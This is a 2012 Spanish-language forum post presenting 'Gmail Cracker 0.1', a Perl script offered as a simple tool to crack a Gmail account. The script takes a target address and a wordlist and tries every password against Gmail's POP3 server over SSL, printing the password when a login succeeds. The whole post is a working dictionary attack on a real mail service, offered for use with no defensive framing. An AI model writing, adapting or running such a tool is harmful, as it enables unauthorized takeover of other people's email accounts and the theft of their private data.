Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: BigBear en 1 Febrero 2012, 19:25 pm



Título: [Perl] Gmail Cracker 0.1
Publicado por: BigBear en 1 Febrero 2012, 19:25 pm
Un simple programa para crackear una cuenta Gmail.

Código
  1. #Gmail Cracker 0.1
  2. #Coded By Doddy H
  3. #http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
  4. #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
  5. #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
  6.  
  7. use Mail::POP3Client;
  8. use IO::Socket::SSL;
  9.  
  10. head();
  11.  
  12. if($ARGV[0] and $ARGV[1]) {
  13. crackgmail($ARGV[0],$ARGV[1]);
  14. } else {
  15. print "\n[+] Sintax : $0 <email> <wordlist>\n";
  16. }
  17.  
  18. copyright();
  19.  
  20. sub crackgmail {
  21.  
  22. my($user,$wordlist) = @_ ;
  23.  
  24. unless(-f $wordlist) {
  25. print "\n[-] Wordlist not found\n";
  26. copyright();
  27. }
  28.  
  29. print "\n[+] Loading wordlist\n";
  30.  
  31. open(FILE,$wordlist);
  32. my @passwords = <FILE>;
  33. close FILE;
  34.  
  35. print "\n[+] Words Found : ".int(@passwords)."\n";
  36. print "\n[+] Cracking...\n\n";
  37.  
  38. for my $pass(@passwords) {
  39. chomp $pass;
  40.  
  41. my $so = IO::Socket::SSL->new(PeerAddr=>"pop.gmail.com",PeerPort => 995,Proto => "tcp");
  42.  
  43. my $nave = Mail::POP3Client->new();
  44.  
  45. $nave->User($user);
  46. $nave->Pass($pass);
  47. $nave->Socket($so);
  48.  
  49. if ($nave->Connect()) {
  50. print "\a\a\n[+] Email : $user\n";
  51. print "[+] Password : $pass\n";
  52. $so->close();
  53. $nave->close();
  54. copyright();
  55. }
  56. $so->close();
  57. $nave->close();
  58. }
  59.  
  60. print "\n[+] Password not found\n";
  61.  
  62. }
  63.  
  64. sub head {
  65. print "\n\n-- == Gmail Cracker == --\n\n";
  66. }
  67.  
  68. sub copyright {
  69. print "\n\n(C) Doddy Hackman 2012\n\n";
  70. exit(1);
  71. }
  72.  
  73. # The End ?
  74.